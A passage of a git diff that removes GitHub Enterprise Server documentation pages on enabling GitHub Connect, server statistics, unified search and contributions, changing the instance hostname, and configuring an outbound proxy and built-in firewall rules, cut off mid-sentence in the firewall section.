[AUTOTITLE](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/managing-self-hosted-runners-for-dependabot-updates). - -If you need enhanced security, we recommend configuring {% data variables.product.prodname_dependabot %} to use private registries. For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot#configuring-private-registries). diff --git a/content/admin/configuring-settings/configuring-github-connect/enabling-github-connect-for-ghecom.md b/content/admin/configuring-settings/configuring-github-connect/enabling-github-connect-for-ghecom.md deleted file mode 100644 index d72073213206..000000000000 --- a/content/admin/configuring-settings/configuring-github-connect/enabling-github-connect-for-ghecom.md +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: Enabling GitHub Connect for GHE.com -shortTitle: Enable for GHE.com -intro: 'Enable {% data variables.product.prodname_github_connect %} to share data between {% data variables.enterprise.data_residency_site %} and {% data variables.location.product_location %}.' -versions: - feature: ghecom-github-connect -redirect_from: - - /early-access/admin/preview-of-data-residency-for-github-enterprise/configuring-github-connect-during-the-preview-of-data-residency - - /early-access/admin/private-ga-of-data-residency-for-github-enterprise-cloud/configuring-github-connect-during-the-private-ga-of-data-residency - - /early-access/admin/data-residency-for-github-enterprise-cloud/configuring-github-connect-for-data-residency ---- - -You can access additional features and workflows on {% data variables.location.product_location %} by enabling {% data variables.product.prodname_github_connect %}. See [AUTOTITLE](/admin/configuration/configuring-github-connect/about-github-connect). - -{% data reusables.github-connect.what-is-available-ghecom %} - -## What happens when {% data variables.product.prodname_github_connect %} is enabled? - -{% data reusables.github-connect.what-happens-when-enabled %} - -## Prerequisites - -* **Administrative access:** You need administrative access to both an enterprise account on {% data variables.enterprise.data_residency_site %} and a {% data variables.product.prodname_ghe_server %} instance. -* **Version requirement:** Your {% data variables.product.prodname_ghe_server %} instance must run {% data variables.product.prodname_ghe_server %} 3.12 or later. -* **Proxy configuration:** If using a proxy server, allow connectivity to the following {% data variables.enterprise.data_residency_site %} hostnames (replace SUBDOMAIN with your enterprise's subdomain). - - * `{% data variables.enterprise.data_residency_domain %}` - * `{% data variables.enterprise.data_residency_api %}` - * `uploads.{% data variables.enterprise.data_residency_domain %}` - - See [AUTOTITLE](/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server). - -## Step 1: Enable connection to {% data variables.enterprise.data_residency_site %} - -By default, {% data variables.product.prodname_github_connect %} connects {% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_dotcom_the_website %}. You must enable your instance to connect to your enterprise's subdomain of {% data variables.enterprise.data_residency_site %}. - -To enable the connection, someone with administrative SSH access to {% data variables.location.product_location_enterprise %} must complete the following tasks. - -{% data reusables.enterprise_installation.ssh-into-instance %} -1. To enable your instance to connect to {% data variables.enterprise.data_residency_site %} for {% data variables.product.prodname_github_connect %}, run the following command. Replace SUBDOMAIN with the subdomain for your enterprise on {% data variables.enterprise.data_residency_site %}, for example `octocorp`. - - ```shell copy - ghe-config app.github.github-connect-ghe-com-enabled true - ghe-config app.github.github-connect-ghe-com-subdomain "SUBDOMAIN" - ``` - -1. To apply the configuration, run the following command. - - >[!NOTE] During a configuration run, services on {% data variables.location.product_location_enterprise %} may restart, which can cause brief downtime for users. - - ```shell copy - ghe-config-apply - ``` - -After the run completes, you can configure {% data variables.product.prodname_github_connect %}. - -## Step 2: Enable {% data variables.product.prodname_github_connect %} - -To enable {% data variables.product.prodname_github_connect %}, you must be an enterprise owner on both {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}. - -People with a user account in both environments can connect the accounts from {% data variables.location.product_location_enterprise %}. - -1. Sign in to {% data variables.location.product_location %} and {% data variables.enterprise.data_residency_site %}. -{% data reusables.github-connect.enable-github-connect %} -1. Choose which individual features of {% data variables.product.prodname_github_connect %} you want to enable. See [AUTOTITLE](/admin/configuring-settings/configuring-github-connect/about-github-connect#github-connect-features). - -## Reenabling connections to {% data variables.product.prodname_dotcom_the_website %} - -If you need to reenable {% data variables.product.prodname_github_connect %} for {% data variables.product.prodname_dotcom_the_website %}, you must reconfigure your settings. - -{% data reusables.enterprise_installation.ssh-into-instance %} -1. Run the following command. - - ```shell copy - ghe-config app.github.github-connect-ghe-com-enabled false - ``` - -1. To apply the configuration, run the following command. - - >[!NOTE] During a configuration run, services on {% data variables.location.product_location_enterprise %} may restart, which can cause brief downtime for users. - - ```shell copy - ghe-config-apply - ``` - -1. Enable {% data variables.product.prodname_github_connect %} on {% data variables.product.prodname_dotcom_the_website %}. See [AUTOTITLE](/admin/configuring-settings/configuring-github-connect/enabling-github-connect-for-githubcom). diff --git a/content/admin/configuring-settings/configuring-github-connect/enabling-github-connect-for-githubcom.md b/content/admin/configuring-settings/configuring-github-connect/enabling-github-connect-for-githubcom.md deleted file mode 100644 index 48f1a5e401fd..000000000000 --- a/content/admin/configuring-settings/configuring-github-connect/enabling-github-connect-for-githubcom.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Enabling GitHub Connect for GitHub.com -shortTitle: Enable for GitHub.com -intro: 'Enable {% data variables.product.prodname_github_connect %} to access additional features and workflows from {% data variables.product.prodname_dotcom_the_website %} on {% data variables.location.product_location %}.' -redirect_from: - - /enterprise/admin/guides/developer-workflow/connecting-github-enterprise-to-github-com - - /enterprise/admin/guides/developer-workflow/connecting-github-enterprise-server-to-github-com - - /enterprise/admin/developer-workflow/connecting-github-enterprise-server-to-githubcom - - /enterprise/admin/installation/connecting-github-enterprise-server-to-github-enterprise-cloud - - /enterprise/admin/configuration/connecting-github-enterprise-server-to-github-enterprise-cloud - - /admin/configuration/connecting-github-enterprise-server-to-github-enterprise-cloud - - /admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/connecting-github-enterprise-server-to-github-enterprise-cloud - - /admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud - - /admin/configuration/configuring-github-connect/managing-github-connect - - /admin/configuring-settings/configuring-github-connect/managing-github-connect -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - GitHub Connect - - Infrastructure - - Networking ---- - -You can access additional features and workflows on {% data variables.location.product_location %} by enabling {% data variables.product.prodname_github_connect %}. See [AUTOTITLE](/admin/configuration/configuring-github-connect/about-github-connect). - -## What happens when {% data variables.product.prodname_github_connect %} is enabled? - -{% data reusables.github-connect.what-happens-when-enabled %} - -## Prerequisites - -* You must have an enterprise account on {% data variables.product.prodname_dotcom_the_website %} that uses {% data variables.product.prodname_ghe_cloud %}. -* Your enterprise account on {% data variables.product.prodname_dotcom_the_website %} must be invoiced. Enterprise accounts on the free trial of {% data variables.product.prodname_ghe_cloud %} or that pay by credit card cannot be connected to {% data variables.location.product_location %}. -* If your enterprise account on {% data variables.product.prodname_dotcom_the_website %} uses IP allow lists, you must add the IP address or network for {% data variables.location.product_location %} to your IP allow list. See [AUTOTITLE](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-allowed-ip-addresses-for-organizations-in-your-enterprise) in the {% data variables.product.prodname_ghe_cloud %} documentation. -* To configure a connection, your proxy configuration must allow connectivity to `github.com`, `api.github.com`, and `uploads.github.com`. For more information, see [AUTOTITLE](/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server). -{%- ifversion ghecom-github-connect %} -* If you have previously enabled {% data variables.product.prodname_github_connect %} for an enterprise on {% data variables.enterprise.data_residency_site %}, you must change your configuration to allow connections to {% data variables.product.prodname_dotcom_the_website %}. See [AUTOTITLE](/admin/configuring-settings/configuring-github-connect/enabling-github-connect-for-ghecom#reenabling-connections-to-githubcom). -{%- endif %} - -## Enabling {% data variables.product.prodname_github_connect %} - -To enable {% data variables.product.prodname_github_connect %}, you must be an enterprise owner on both {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}. - -1. Sign in to {% data variables.location.product_location %} and {% data variables.product.prodname_dotcom_the_website %}. -{% data reusables.github-connect.enable-github-connect %} diff --git a/content/admin/configuring-settings/configuring-github-connect/enabling-server-statistics-for-your-enterprise.md b/content/admin/configuring-settings/configuring-github-connect/enabling-server-statistics-for-your-enterprise.md deleted file mode 100644 index 69b89b3766e3..000000000000 --- a/content/admin/configuring-settings/configuring-github-connect/enabling-server-statistics-for-your-enterprise.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Enabling Server Statistics for your enterprise -intro: 'You can analyze your own aggregate data from {% data variables.product.prodname_ghe_server %} and help us improve {% data variables.product.company_short %} products by enabling {% data variables.product.prodname_server_statistics %}.' -versions: - ghes: '*' -redirect_from: - - /early-access/github/analyze-how-your-team-works-with-server-statistics/about-server-statistics/enabling-server-statistics - - /admin/configuration/configuring-github-connect/enabling-server-statistics-for-your-enterprise -topics: - - Enterprise -shortTitle: Server Statistics ---- - -## About {% data variables.product.prodname_server_statistics %} - -{% data variables.product.prodname_server_statistics %} collects aggregate usage data from {% data variables.location.product_location %}, which you can use to better anticipate the needs of your organization, understand how your team works, and show the value you get from {% data variables.product.prodname_ghe_server %}. - -{% data variables.product.prodname_server_statistics %} only collects certain aggregate metrics on repositories, issues, pull requests, and other features. {% data variables.product.prodname_dotcom %} content, such as code, issues, comments, or pull request content, is not collected. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/about-server-statistics). - -By enabling {% data variables.product.prodname_server_statistics %}, you are also helping to improve {% data variables.product.company_short %}. The aggregated data you will provide helps us understand how our customers are using {% data variables.product.prodname_dotcom %}, and make better and more informed product decisions, ultimately benefiting you. - -## Enabling {% data variables.product.prodname_server_statistics %} - -Before you can enable {% data variables.product.prodname_server_statistics %}, you must first connect your {% data variables.product.prodname_ghe_server %} instance to {% data variables.product.prodname_dotcom_the_website %} using {% data variables.product.prodname_github_connect %}. For more information, see [AUTOTITLE](/admin/configuration/configuring-github-connect/managing-github-connect). - -You can disable {% data variables.product.prodname_server_statistics %} from {% data variables.product.prodname_ghe_server %} at any time. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.github-connect-tab %} -1. Under "Share server statistics with GitHub.com", select the dropdown menu and click **Enabled** or **Disabled**. diff --git a/content/admin/configuring-settings/configuring-github-connect/enabling-unified-contributions-for-your-enterprise.md b/content/admin/configuring-settings/configuring-github-connect/enabling-unified-contributions-for-your-enterprise.md deleted file mode 100644 index 6e7f8f5b8875..000000000000 --- a/content/admin/configuring-settings/configuring-github-connect/enabling-unified-contributions-for-your-enterprise.md +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Enabling unified contributions for your enterprise -shortTitle: Unified contributions -intro: 'You can allow users to include anonymized contribution counts for their work on {% data variables.location.product_location %} in their contribution graphs on {% data variables.product.prodname_ghe_cloud %}.' -redirect_from: - - /enterprise/admin/guides/developer-workflow/enabling-unified-contributions-between-github-enterprise-and-github-com - - /enterprise/admin/guides/developer-workflow/enabling-unified-contributions-between-github-enterprise-server-and-github-com - - /enterprise/admin/developer-workflow/enabling-unified-contributions-between-github-enterprise-server-and-githubcom - - /enterprise/admin/installation/enabling-unified-contributions-between-github-enterprise-server-and-githubcom - - /enterprise/admin/configuration/enabling-unified-contributions-between-github-enterprise-server-and-githubcom - - /admin/configuration/enabling-unified-contributions-between-github-enterprise-server-and-githubcom - - /admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/enabling-unified-contributions-between-github-enterprise-server-and-githubcom - - /admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom - - /admin/configuration/configuring-github-connect/enabling-unified-contributions-for-your-enterprise -permissions: 'Enterprise owners' -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - GitHub Connect ---- - -## About unified contributions - -As an enterprise owner, you can allow end users to send anonymized contribution counts for their work from {% data variables.location.product_location %} to their contribution graph on {% data variables.product.prodname_dotcom_the_website %}{% ifversion ghecom-github-connect %} or {% data variables.enterprise.data_residency_site %}{% endif %}. - -After you enable {% data variables.enterprise.prodname_unified_contributions %}, before individual users can send contribution counts from {% data variables.location.product_location %} to {% data variables.product.prodname_ghe_cloud %}, each user must also connect their user account on {% data variables.product.prodname_ghe_server %} with an account on {% data variables.product.prodname_ghe_cloud %}. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile). - -{% data reusables.github-connect.sync-frequency %} - -If the enterprise owner disables the functionality or individual users opt out of the connection, the contribution counts from {% data variables.product.prodname_ghe_server %} will be deleted on {% data variables.product.prodname_ghe_cloud %}. If the user reconnects their profiles after disabling them, the contribution counts for the past 90 days are restored. - -{% data variables.product.prodname_ghe_server %} **only** sends the contribution count and source ({% data variables.product.prodname_ghe_server %}) for connected users. It does not send any information about the contribution or how it was made. - -## Enabling unified contributions - -Before enabling {% data variables.enterprise.prodname_unified_contributions %} on {% data variables.location.product_location %}, you must enable {% data variables.product.prodname_github_connect %}. See {% ifversion ghecom-github-connect %}[AUTOTITLE](/admin/configuring-settings/configuring-github-connect/enabling-github-connect-for-ghecom) or {% endif %}[AUTOTITLE](/admin/configuring-settings/configuring-github-connect/enabling-github-connect-for-githubcom). - -{% data reusables.github-connect.access-dotcom-and-enterprise %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.business %} -{% data reusables.enterprise-accounts.github-connect-tab %} -1. To the right of "Unified contributions", click **Enable**. - - ![Screenshot of the "Unified contributions" option on the GitHub Connect page. The "Enable" button is highlighted with an orange outline.](/assets/images/enterprise/site-admin-settings/dotcom-ghe-connection-request-access.png) -1. [Sign in](https://enterprise.github.com/login) to the {% data variables.product.prodname_ghe_server %} site to receive further instructions. - -When you request access, we may redirect you to the {% data variables.product.prodname_ghe_server %} site to check your current terms of service. diff --git a/content/admin/configuring-settings/configuring-github-connect/enabling-unified-search-for-your-enterprise.md b/content/admin/configuring-settings/configuring-github-connect/enabling-unified-search-for-your-enterprise.md deleted file mode 100644 index efa84fdf2cae..000000000000 --- a/content/admin/configuring-settings/configuring-github-connect/enabling-unified-search-for-your-enterprise.md +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Enabling unified search for your enterprise -shortTitle: Unified search -intro: 'You can allow users to include repositories on {% data variables.product.prodname_ghe_cloud %} in their search results when searching from {% data variables.location.product_location %}.' -redirect_from: - - /enterprise/admin/guides/developer-workflow/enabling-unified-search-between-github-enterprise-and-github-com - - /enterprise/admin/guides/developer-workflow/enabling-unified-search-between-github-enterprise-server-and-github-com - - /enterprise/admin/developer-workflow/enabling-unified-search-between-github-enterprise-server-and-githubcom - - /enterprise/admin/installation/enabling-unified-search-between-github-enterprise-server-and-githubcom - - /enterprise/admin/configuration/enabling-unified-search-between-github-enterprise-server-and-githubcom - - /admin/configuration/enabling-unified-search-between-github-enterprise-server-and-githubcom - - /admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/enabling-unified-search-between-github-enterprise-server-and-githubcom - - /admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom - - /admin/configuration/configuring-github-connect/enabling-unified-search-for-your-enterprise -permissions: 'Enterprise owners' -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - GitHub Connect - - GitHub search ---- - -## About {% data variables.enterprise.prodname_unified_search %} - -When you enable unified search, users can view search results from content on {% data variables.product.prodname_dotcom_the_website %}{% ifversion ghecom-github-connect %} or {% data variables.enterprise.data_residency_site %}{% endif %} when searching from {% data variables.location.product_location %}. - -You can choose to allow search results for public repositories on {% data variables.product.prodname_dotcom_the_website %}, and you can separately choose to allow search results for private repositories on {% data variables.product.prodname_ghe_cloud %}. If you enable unified search for private repositories, users can only search private repositories that they have access to and that are owned by the connected enterprise account. For more information, see [AUTOTITLE](/search-github/getting-started-with-searching-on-github/about-searching-on-github#searching-across-github-enterprise-and-githubcom-simultaneously). - -Users will never be able to search {% data variables.location.product_location %} from {% data variables.product.prodname_ghe_cloud %}, even if they have access to both environments. - -After you enable unified search for {% data variables.location.product_location %}, before individual users can see search results from private repositories on {% data variables.product.prodname_ghe_cloud %} in {% data variables.location.product_location %}, each user must also connect their user account on {% data variables.product.prodname_ghe_server %} with a user account on {% data variables.product.prodname_ghe_cloud %}. For more information, see [AUTOTITLE](/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment). - -Searching via the REST and GraphQL APIs does not include {% data variables.product.prodname_ghe_cloud %} search results. Advanced search and searching for wikis in {% data variables.product.prodname_ghe_cloud %} are not supported. - -## Enabling {% data variables.enterprise.prodname_unified_search %} - -Before you can enable {% data variables.enterprise.prodname_unified_search %}, you must enable {% data variables.product.prodname_github_connect %}. See {% ifversion ghecom-github-connect %}[AUTOTITLE](/admin/configuring-settings/configuring-github-connect/enabling-github-connect-for-ghecom) or {% endif %}[AUTOTITLE](/admin/configuring-settings/configuring-github-connect/enabling-github-connect-for-githubcom). - -{% data reusables.github-connect.access-dotcom-and-enterprise %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.business %} -{% data reusables.enterprise-accounts.github-connect-tab %} -1. To the right of "Unified search", click **Enable**. - - ![Screenshot of the "Unified search" for public repositories option. The "Enable" button is outlined in orange.](/assets/images/enterprise/site-admin-settings/github-dotcom-enable-search.png) -1. Optionally, to the right of "Users can search private repositories on ENTERPRISE ACCOUNT when searching from Enterprise Server", click **Enable**. - - ![Screenshot of the "Unified search" option for private repositories. To the right of the setting, the "Enable" button is outlined in orange.](/assets/images/enterprise/site-admin-settings/enable-private-search.png) diff --git a/content/admin/configuring-settings/configuring-github-connect/index.md b/content/admin/configuring-settings/configuring-github-connect/index.md deleted file mode 100644 index 27d30af75905..000000000000 --- a/content/admin/configuring-settings/configuring-github-connect/index.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Configuring GitHub Connect -intro: 'With {% data variables.product.prodname_github_connect %}, you can access additional features and workflows by connecting {% data variables.location.product_location %} to {% data variables.product.prodname_ghe_cloud %}.' -redirect_from: - - /enterprise/admin/developer-workflow/connecting-github-enterprise-to-github-com - - /enterprise/admin/guides/developer-workflow/connecting-github-enterprise-and-github-com - - /enterprise/admin/guides/developer-workflow/connecting-github-enterprise-server-and-github-com - - /enterprise/admin/developer-workflow/connecting-github-enterprise-server-and-githubcom - - /enterprise/admin/installation/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud - - /enterprise/admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud - - /admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud - - /admin/configuration/managing-connections-between-your-enterprise-accounts - - /admin/configuration/configuring-github-connect -versions: - ghes: '*' -type: how_to -topics: - - Enterprise -children: - - /about-github-connect - - /enabling-github-connect-for-githubcom - - /enabling-github-connect-for-ghecom - - /enabling-automatic-user-license-sync-for-your-enterprise - - /enabling-dependabot-for-your-enterprise - - /enabling-server-statistics-for-your-enterprise - - /enabling-unified-search-for-your-enterprise - - /enabling-unified-contributions-for-your-enterprise - - /disabling-github-connect -shortTitle: GitHub Connect ---- - diff --git a/content/admin/configuring-settings/configuring-network-settings/changing-the-hostname-for-your-instance.md b/content/admin/configuring-settings/configuring-network-settings/changing-the-hostname-for-your-instance.md deleted file mode 100644 index ab0e53f3656e..000000000000 --- a/content/admin/configuring-settings/configuring-network-settings/changing-the-hostname-for-your-instance.md +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Changing the hostname for your instance -shortTitle: Change hostname -intro: 'If you want to change the hostname for an existing {% data variables.product.prodname_ghe_server %} instance, you must restore the settings and data to a new instance.' -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Fundamentals - - Infrastructure -redirect_from: - - /admin/configuration/configuring-network-settings/changing-the-hostname-for-your-instance ---- - -## About changes to the hostname for {% data variables.product.prodname_ghe_server %} - -If you need to use a new hostname for {% data variables.location.product_location %}, you must back up the existing instance's settings and data, configure a new instance, restore the backup to the new instance, and then adjust your DNS configuration to send traffic to the new instance. - -Migration to a new instance requires downtime. The amount of downtime required depends on how much data you need to back up, as well as the speed of the network connection between the backup host and the instances. - -In this article, the term "source instance" refers to the instance with the old hostname, and "destination instance" refers to the instance with the new hostname. - -{% data reusables.enterprise_installation.changing-hostname-not-supported %} - -## Migrating to an instance with a new hostname - -1. Configure a destination instance of {% data variables.product.prodname_ghe_server %} with the new hostname you'd like to use. For more information, see the following documentation. - - * [AUTOTITLE](/admin/installation/setting-up-a-github-enterprise-server-instance) - * [AUTOTITLE](/admin/configuration/configuring-network-settings/configuring-the-hostname-for-your-instance) -1. Inform the instance's users of the scheduled downtime. Optionally, you can create a mandatory message that will appear for all users who sign in. For more information, see [Customizing user messages for your enterprise](/admin/managing-accounts-and-repositories/communicating-information-to-users-in-your-enterprise/customizing-user-messages-for-your-enterprise#creating-a-mandatory-message). -1. On the source instance, enable maintenance mode to prevent deltas from occurring. For more information, see [AUTOTITLE](/admin/administering-your-instance/configuring-maintenance-mode/enabling-and-scheduling-maintenance-mode#enabling-maintenance-mode-immediately-or-scheduling-a-maintenance-window-for-a-later-time). -1. Back up the source instance's data and settings using {% data variables.product.prodname_enterprise_backup_utilities %}. For more information, see [AUTOTITLE](/admin/backing-up-and-restoring-your-instance/configuring-backups-on-your-instance). (This step may take up to several hours to complete.) -1. If your source instance has {% data variables.product.prodname_actions %} enabled, you must configure the external storage provider for {% data variables.product.prodname_actions %} on the destination instance. See [AUTOTITLE](/admin/github-actions/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled). -1. On the destination instance, enable maintenance mode to allow restoration of the backup taken from the source instance. -1. Restore the backup to the destination instance with the desired hostname. Run the `ghe-restore` utility without the `-c` option to prevent overwriting the destination instance's configuration. See [AUTOTITLE](/admin/backing-up-and-restoring-your-instance/configuring-backups-on-your-instance). -1. Finalize configuration of the destination instance. For more information, see [AUTOTITLE](/admin/configuration). -1. Optionally, while the destination instance is in maintenance mode, validate the instance's configuration and configuration run log (`/data/user/common/ghe-config.log`) and verify that user data is intact. For more information, see [AUTOTITLE](/admin/administering-your-instance/configuring-maintenance-mode/enabling-and-scheduling-maintenance-mode#validating-changes-in-maintenance-mode-using-the-ip-exception-list). -1. To direct traffic to the destination instance, update the DNS `CNAME` record with the source instance's hostname to resolve to the IP address of the destination instance. - - > [!NOTE] - > Restored user-generated content in the instance's web application will likely contain URLs that reference the source instance's old hostname. Optionally, to ensure that these links continue to resolve to the destination instance, you can configure a redirect using DNS. In addition to the `CNAME` record that resolves to the new instance's hostname, configure a second DNS `CNAME` record that directs traffic from the original hostname to the new hostname. For more information, see the documentation for your DNS provider. - -1. On the destination instance, disable maintenance mode. diff --git a/content/admin/configuring-settings/configuring-network-settings/configuring-an-outbound-web-proxy-server.md b/content/admin/configuring-settings/configuring-network-settings/configuring-an-outbound-web-proxy-server.md deleted file mode 100644 index cf341731f55e..000000000000 --- a/content/admin/configuring-settings/configuring-network-settings/configuring-an-outbound-web-proxy-server.md +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: Configuring an outbound web proxy server -intro: 'A proxy server provides an additional level of security for {% data variables.location.product_location %}.' -redirect_from: - - /enterprise/admin/guides/installation/configuring-a-proxy-server - - /enterprise/admin/installation/configuring-an-outbound-web-proxy-server - - /enterprise/admin/configuration/configuring-an-outbound-web-proxy-server - - /admin/configuration/configuring-an-outbound-web-proxy-server - - /admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server -permissions: 'Site administrators can configure an outbound web proxy server for a {% data variables.product.prodname_ghe_server %} instance.' -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Fundamentals - - Infrastructure - - Networking -shortTitle: Configure an outbound proxy ---- - -## About configuration of a proxy for {% data variables.product.prodname_ghe_server %} - -When a proxy server is enabled for {% data variables.location.product_location %}, outbound messages sent by {% data variables.product.prodname_ghe_server %} are first sent through the proxy server, unless the destination host is added as an HTTP proxy exclusion. Types of outbound messages include outgoing webhooks, uploading bundles, and fetching legacy avatars. The proxy server's URL is the protocol, domain or IP address, plus the port number, for example `http://127.0.0.1:8123`. - -> [!NOTE] -> To connect {% data variables.location.product_location %} to {% data variables.product.prodname_dotcom_the_website %}, your proxy configuration must allow connectivity to `github.com` and `api.github.com`. For more information, see [AUTOTITLE](/admin/configuration/configuring-github-connect/managing-github-connect). - -{% data reusables.actions.proxy-considerations %} For more information about using {% data variables.product.prodname_actions %} with {% data variables.product.prodname_ghe_server %}, see [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server). - -## Configuring an outbound web proxy server - -You can configure an outbound proxy server {% data variables.location.product_location %}, and you can configure exceptions for connections to specific domains. - -Your instance validates the hostnames for proxy exclusion using the list of IANA's registered top-level domains (TLDs). For more information, see the [list of TLDs](https://data.iana.org/TLD/tlds-alpha-by-domain.txt) on the IANA website. - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.privacy %} -1. Under **HTTP Proxy Server**, type the URL of your proxy server. -1. Optionally, under **HTTP Proxy Exclusion**, type any hosts that do not require proxy access, separating hosts with commas. The following rules apply to top-level domains (TLDs) and IP addresses that you exclude from the proxy. - - * When you exclude a TLD, you can exclude all hosts in a domain from requiring proxy access using `.` as a wildcard prefix, such as `.octo-org.tentacle`. - * Your instance validates the hostnames you exclude using the list of IANA's registered TLDs. For more information, see the [list of TLDs](https://data.iana.org/TLD/tlds-alpha-by-domain.txt) on the IANA website. If you want to exclude an unregistered TLD, see [Excluding additional unregistered TLDs from the proxy](#excluding-additional-unregistered-tlds-from-the-proxy). - * You can exclude a full, valid IPv4 or IPv6 address. - * You cannot exclude an IPv4 or IPv6 address using a preceding or trailing dot as a wildcard. - -{% data reusables.enterprise_management_console.save-settings %} - -## Excluding additional unregistered TLDs from the proxy - -You can configure your instance's proxy settings to exclude unregistered TLDs that aren't specified in the [list of TLDs](https://data.iana.org/TLD/tlds-alpha-by-domain.txt) on the IANA website. - -When you exclude additional unregistered TLDs, you must use `.` as a wildcard prefix. If the TLD is `tentacle`, you must exclude `.tentacle`. You cannot exclude an unregistered TLD without the preceding `.`. - -{% data reusables.enterprise_installation.ssh-into-instance %} -1. Enter the following command, replacing `COMMA-SEPARATED-TLD-LIST` with a comma-separated list of TLDs, each prefixed by a `.` wildcard. - - ```shell - ghe-config noproxy.exception-tld-list "COMMA-SEPARATED-TLD-LIST" - ``` - - For example: - - ```shell - ghe-config noproxy.exception-tld-list ".example,.internal" - ``` - -{% data reusables.enterprise.apply-configuration %} diff --git a/content/admin/configuring-settings/configuring-network-settings/configuring-built-in-firewall-rules.md b/content/admin/configuring-settings/configuring-network-settings/configuring-built-in-firewall-rules.md deleted file mode 100644 index 7dd5089ec3b5..000000000000 --- a/content/admin/configuring-settings/configuring-network-settings/configuring-built-in-firewall-rules.md +++ /dev/null @@ -1,131 +0,0 @@ ---- -title: Configuring built-in firewall rules -intro: 'You can view default firewall rules and customize rules for {% data variables.location.product_location %}.' -redirect_from: - - /enterprise/admin/guides/installation/configuring-firewall-settings - - /enterprise/admin/installation/configuring-built-in-firewall-rules - - /enterprise/admin/configuration/configuring-built-in-firewall-rules - - /admin/configuration/configuring-built-in-firewall-rules - - /admin/configuration/configuring-network-settings/configuring-built-in-firewall-rules -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Fundamentals - - Infrastructure - - Networking -shortTitle: Configure firewall rules ---- -## About {% data variables.location.product_location %}'s firewall - -{% data variables.product.prodname_ghe_server %} uses Ubuntu's Uncomplicated Firewall (UFW) on the virtual appliance. For more information see [UFW](https://help.ubuntu.com/community/UFW) in the Ubuntu documentation. {% data variables.product.prodname_ghe_server %} automatically updates the firewall allowlist of allowed services with each release. - -After you install {% data variables.product.prodname_ghe_server %}, all required network ports are automatically opened to accept connections. Every non-required port is automatically configured as `deny`, and the default outgoing policy is configured as `allow`. Stateful tracking is enabled for any new connections; these are typically network packets with the `SYN` bit set. For more information, see [AUTOTITLE](/admin/configuration/configuring-network-settings/network-ports). - -The UFW firewall also opens several other ports that are required for {% data variables.product.prodname_ghe_server %} to operate properly. For more information on the UFW rule set, see [the UFW README](https://github.com/jbq/ufw/blob/master/README#L213). - -We do not recommend customizing UFW as it can complicate some troubleshooting issues. - -## Viewing the default firewall rules - -{% data reusables.enterprise_installation.ssh-into-instance %} - -1. To view the default firewall rules, use the `sudo ufw status` command. You should see output similar to this: - - ```shell - $ sudo ufw status - > Status: active - > To Action From - > -- ------ ---- - > ghe-1194 ALLOW Anywhere - > ghe-122 ALLOW Anywhere - > ghe-161 ALLOW Anywhere - > ghe-22 ALLOW Anywhere - > ghe-25 ALLOW Anywhere - > ghe-443 ALLOW Anywhere - > ghe-80 ALLOW Anywhere - > ghe-8080 ALLOW Anywhere - > ghe-8443 ALLOW Anywhere - > ghe-9418 ALLOW Anywhere - > ghe-1194 (v6) ALLOW Anywhere (v6) - > ghe-122 (v6) ALLOW Anywhere (v6) - > ghe-161 (v6) ALLOW Anywhere (v6) - > ghe-22 (v6) ALLOW Anywhere (v6) - > ghe-25 (v6) ALLOW Anywhere (v6) - > ghe-443 (v6) ALLOW Anywhere (v6) - > ghe-80 (v6) ALLOW Anywhere (v6) - > ghe-8080 (v6) ALLOW Anywhere (v6) - > ghe-8443 (v6) ALLOW Anywhere (v6) - > ghe-9418 (v6) ALLOW Anywhere (v6) - ``` - -## Adding custom firewall rules - -> [!WARNING] -> Before you add custom firewall rules, back up your current rules in case you need to reset to a known working state. If you're locked out of your server, visit {% data 